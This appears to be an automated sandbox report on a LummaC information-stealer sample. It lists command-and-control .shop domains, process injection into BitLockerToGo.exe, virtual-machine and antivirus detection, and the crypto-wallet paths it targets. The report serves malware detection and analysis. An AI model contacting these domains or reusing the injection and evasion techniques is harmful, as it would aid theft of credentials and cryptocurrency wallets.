Source: BitLockerToGo.exe, 00000002.00000002.1927708652.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F40000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1835896687.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836017932.0000000002F6C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926277299.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/api
Source: BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/apiE=
Source: BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/apio
Source: BitLockerToGo.exe, 00000002.00000002.1927708652.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926277299.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/apiu
Source: BitLockerToGo.exe, 00000002.00000003.1835896687.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836017932.0000000002F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/l
Source: BitLockerToGo.exe, 00000002.00000003.1912351662.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop:443/api6
Source: BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8z
Source: file.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#
Source: file.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc
Source: BitLockerToGo.exe, 00000002.00000003.1836501594.000000000537E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000002.00000003.1836501594.000000000537C000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000002.00000003.1836501594.000000000537C000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000002.00000003.1836625769.0000000005350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000002.00000003.1877928350.000000000540B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000002.00000003.1837536284.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837298602.000000000533A000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1837129458.000000000534F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000002.00000003.1870382637.0000000005447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.51.78:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00B70520 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00B70520

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00B70520 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00B70520

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00B71CAA GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_00B71CAA

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B6112E	2_2_00B6112E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B618A0	2_2_00B618A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B62840	2_2_00B62840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B44B30	2_2_00B44B30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B42D10	2_2_00B42D10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B7EE70	2_2_00B7EE70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B480A0	2_2_00B480A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B77090	2_2_00B77090
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B7F190	2_2_00B7F190
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B6213D	2_2_00B6213D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B44160	2_2_00B44160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B50390	2_2_00B50390
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B43360	2_2_00B43360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B5D35E	2_2_00B5D35E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B46480	2_2_00B46480
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B7F500	2_2_00B7F500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B417B0	2_2_00B417B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B45720	2_2_00B45720
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B6C85E	2_2_00B6C85E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B68AC0	2_2_00B68AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B46A50	2_2_00B46A50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B65B50	2_2_00B65B50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00B79E10	2_2_00B79E10

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00B48AF0 appears 60 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00B50520 appears 194 times

Source: file.exe

Static PE information: Number of sections : 12 > 10

Source: file.exe, 00000000.00000002.1822635341.00007FF663679000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesetup.exe2 vs file.exe
Source: file.exe, 00000000.00000002.1820175957.000000C00010E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.1820175957.000000C0001FC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000003.1817870067.000001C87F090000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamesetup.exe2 vs file.exe

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00B70169 CoCreateInstance,

2_2_00B70169

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Libraries\anndj.scif

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\system32\56d9abc5c8476c4dea6218d4d77789ced211ef3fb12bddbc13380eb50a192311AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	String found in binary or memory: net/addrselect.go
Source: file.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 7379456 > 1048576

Source: file.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2f0a00
Source: file.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x39f000

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.1820175957.000000C00010E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1820175957.000000C0001FC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1817870067.000001C87F090000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.1820175957.000000C00010E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1820175957.000000C0001FC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1817870067.000001C87F090000.00000004.00001000.00020000.00000000.sdmp

Source: file.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00B737E3 push esp; iretd

2_2_00B737E7

Source: C:\Users\user\Desktop\file.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7708	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7708	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1835896687.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836017932.0000000002F6C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1835896687.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1836017932.0000000002F6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWKY
Source: file.exe, 00000000.00000002.1821151296.000001C839B58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllSS

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00B7B550 LdrInitializeThunk,

2_2_00B7B550

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: B40000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: B40000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: boredimperissvieos.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: holicisticscrarws.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweetsquarediaslw.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: plaintediousidowsko.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: miniaturefinerninewjs.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: zippyfinickysofwps.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: obsceneclassyjuwks.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: acceptabledcooeprs.shop
Source: file.exe, 00000000.00000002.1820847231.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: greetclassifytalk.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: B40000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: C26008			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7688, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002F65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
